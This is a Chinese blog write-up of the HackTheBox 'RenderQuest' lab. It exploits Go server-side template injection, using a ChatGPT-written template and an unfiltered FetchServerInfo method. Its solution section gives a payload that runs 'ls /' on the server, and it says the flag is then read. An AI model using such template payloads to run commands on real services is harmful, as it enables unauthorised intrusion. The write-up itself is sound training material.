HackTheBox RenderQuest WriteUP
题目
You’ve found a website that lets you input remote templates for rendering. Your task is to exploit this system’s vulnerabilities to access and retrieve a hidden flag. Good luck!
翻译:您发现了一个可以输入远程模板进行渲染的网站。您的任务是利用该系统的漏洞访问和检索一个隐藏标志。祝你好运!
思路
根据描述,网站的功能是让我们提供一个远程的模板,网站对我们的模板进行渲染。远程站点我们可以用GitHubPages,可是我不会写Golang的模板,结题失败,此贴结束。
咳咳。
我不会写,让ChatGPT写一个不就完了。先写一个普通的看看长什么样:
<!DOCTYPE html>
<html>
<head>
<title>Client & Server Info</title>
</head>
<body>
<h2>Client Information</h2>
<ul>
<li>Client IP: {{.ClientIP}}</li>
<li>User Agent: {{.ClientUA}}</li>
{{with .ClientIpInfo}}
<li>IP Version: {{.IpVersion}}</li>
<li>IP Address: {{.IpAddress}}</li>
<li>Latitude: {{.Latitude}}</li>
<li>Longitude: {{.Longitude}}</li>
<li>Country Name: {{.CountryName}}</li>
<li>Country Code: {{.CountryCode}}</li>
<li>Time Zone: {{.TimeZone}}</li>
<li>Zip Code: {{.ZipCode}}</li>
<li>City Name: {{.CityName}}</li>
<li>Region Name: {{.RegionName}}</li>
<li>Continent: {{.Continent}}</li>
<li>Continent Code: {{.ContinentCode}}</li>
{{end}}
</ul>
<h2>Server Information</h2>
<ul>
<li>Hostname: {{.ServerInfo.Hostname}}</li>
<li>Operating System: {{.ServerInfo.OS}}</li>
<li>Kernel Version: {{.ServerInfo.KernelVersion}}</li>
<li>Memory: {{.ServerInfo.Memory}}</li>
</ul>
</body>
</html>
丢给网站看看效果:
很好,模板生效了。看到这种题目,第一时间想到的,就是模板注入。检查源码我们可以看到源码中刚好定义了可以执行系统命令的方法:
并且这个方法没有对传入的参数做任何过滤。那么,后面的事情就简单了。
解题
构造Payload查看flag文件的文件名:
<h2>Get Flag</h2>
<ul>
<li>Flag: {{.FetchServerInfo "ls /"}}</li>
</ul>
读取Flag(这一步Payload就不用多说了吧):
后记
感谢ChatGPT
参考资料
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 忘返的博客!